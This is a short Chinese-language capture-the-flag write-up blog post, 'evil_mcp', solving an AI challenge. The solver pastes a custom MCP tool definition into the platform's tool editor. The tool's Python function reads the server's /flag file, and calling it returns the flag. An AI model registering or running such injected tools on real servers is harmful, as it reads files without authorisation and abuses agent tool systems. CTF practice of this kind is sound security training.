evil_mcp

evil_mcp

HuAmI Lv1

evil_mcp

img

ez_AI:打开环境

img

这里思路是编写一个脚本注入获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from typing import Any

@tool(
name="get_flag",
description="Get the flag from the server",
input_schema={
"type": "object",
"properties": {},
"required": []
}
)
async def get_flag(arguments: dict[str, Any], context: Any) -> Any:
"""Get the flag."""
with open('/flag', 'r') as f:
content = f.read()
return content

粘贴进MCP工具代码框,保存并加载工具。

最后get_flag就行。

img

: .。. o(≧▽≦)o .。.:☆喔耶!

  • Title: evil_mcp
  • Author: HuAmI
  • Created at : 2025-10-28 12:12:57
  • Updated at : 2025-11-03 14:28:59
  • Link: https://redefine.ohevan.com/2025/10/28/evil_mcp/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
evil_mcp